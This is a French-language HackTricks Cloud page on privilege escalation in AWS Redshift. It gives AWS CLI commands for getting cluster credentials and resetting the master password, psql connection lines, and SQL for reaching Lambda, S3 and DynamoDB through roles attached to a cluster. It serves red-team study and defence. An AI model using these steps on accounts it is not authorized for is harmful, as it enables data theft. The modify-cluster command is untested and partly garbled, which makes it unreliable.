AWS - Redshift Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Redshift
Pour plus dâinformations sur RDS, consultez :
redshift:DescribeClusters, redshift:GetClusterCredentials
Avec ces permissions, vous pouvez obtenir les informations de tous les clusters (y compris le nom et le nom dâutilisateur du cluster) et obtenir des identifiants pour y accĂ©der :
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Impact potentiel: Trouver des informations sensibles dans les bases de données.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
Avec ces permissions vous pouvez obtenir les informations de tous les clusters et les identifiants pour y accéder.
Remarque : lâutilisateur postgres aura les permissions que possĂšde lâidentitĂ© IAM utilisĂ©e pour obtenir les identifiants.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Impact potentiel: Find sensitive info inside the databases.
redshift:DescribeClusters, redshift:ModifyCluster?
Il est possible de modifier le mot de passe maĂźtre de lâutilisateur interne postgres (redshit) depuis aws cli (je pense que ce sont les permissions nĂ©cessaires mais je ne les ai pas encore testĂ©es) :
aws redshift modify-cluster âcluster-identifier <identifier-for-the cluster> âmaster-user-password âmaster-passwordâ;
Impact potentiel : Trouver des informations sensibles dans les bases de données.
AccĂšs aux services externes
Warning
Pour accĂ©der Ă toutes les ressources suivantes, vous devrez spĂ©cifier le rĂŽle Ă utiliser. Un cluster Redshift peut avoir une liste de rĂŽles AWS assignĂ©s que vous pouvez utiliser si vous connaissez lâARN ou vous pouvez simplement dĂ©finir âdefaultâ pour utiliser celui qui est assignĂ© par dĂ©faut.
De plus, comme expliqué ici, Redshift permet aussi de concaténer des rÎles (tant que le premier peut assumer le second) pour obtenir des accÚs supplémentaires, mais il suffit de les séparer par une virgule:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
Comme expliquĂ© dans https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, il est possible dâappeler une fonction lambda depuis Redshift avec quelque chose comme :
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Comme expliquĂ© dans https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, il est possible de lire et dâĂ©crire dans les S3 buckets:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Comme expliqué dans https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, il est possible de récupérer des données depuis dynamodb :
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
Warning
La table Amazon DynamoDB qui fournit les donnĂ©es doit ĂȘtre créée dans la mĂȘme AWS Region que votre cluster, sauf si vous utilisez lâoption REGION pour spĂ©cifier la AWS Region oĂč se trouve la table Amazon DynamoDB.
EMR
Consultez https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

